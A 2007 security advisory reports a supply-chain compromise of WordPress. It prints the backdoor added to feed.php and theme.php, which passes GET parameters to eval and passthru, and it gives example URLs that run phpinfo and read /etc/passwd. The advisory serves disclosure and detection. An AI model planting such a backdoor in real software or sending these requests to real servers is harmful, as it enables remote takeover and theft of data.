WordPress source code compromised to enable remote code execution

[ifsecure@xxxxxxxxx]

While assessing the security of WordPress, a popular blog creation software, I 
have discovered that it's source code has recently been compromised by a third 
party in order to enable remote command execution on the machines running 
affected versions. The compromised files are wp-includes/feed.php and 
wp-includes/theme.php. 
The following code has been added:


in wp-includes/feed.php

function comment_text_phpfilter($filterdata) {
       eval($filterdata);
}

...

if ($_GET["ix"]) { comment_text_phpfilter($_GET["ix"]); }


in wp-includes/theme.php

function get_theme_mcommand($mcds) {
       passthru($mcds);
}

...

if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); }


this would enable remote command execution on machines running compromised 
versions, for example

http://wordpressurl/wp-includes/feed.php?ix=phpinfo();
http://wordpressurl/wp-includes/theme.php?iz=cat /etc/passwd


I have discovered this vulnerability on Friday, March 2nd 2007 and contacted 
WordPress about it straight away. They reacted promptly by disabling downloads 
until further investigation. Later they determined that ony one of two servers 
has been compromised and that the two files mentioned above are the only ones 
changed.

It seems that the above files were changed on Feb 25th, 2007, so if you 
downloaded WordPress between Feb 25th, 2007 and Mar 2nd 2007 it is possible 
that you are running a compromised version, so be sure to check for the above 
code.


Discovered and reported by Ivan Fratric
http://ifsec.blogspot.com


Thanks to Ryan Boren of WordPress for quick response and his feedback regarding 
this issue.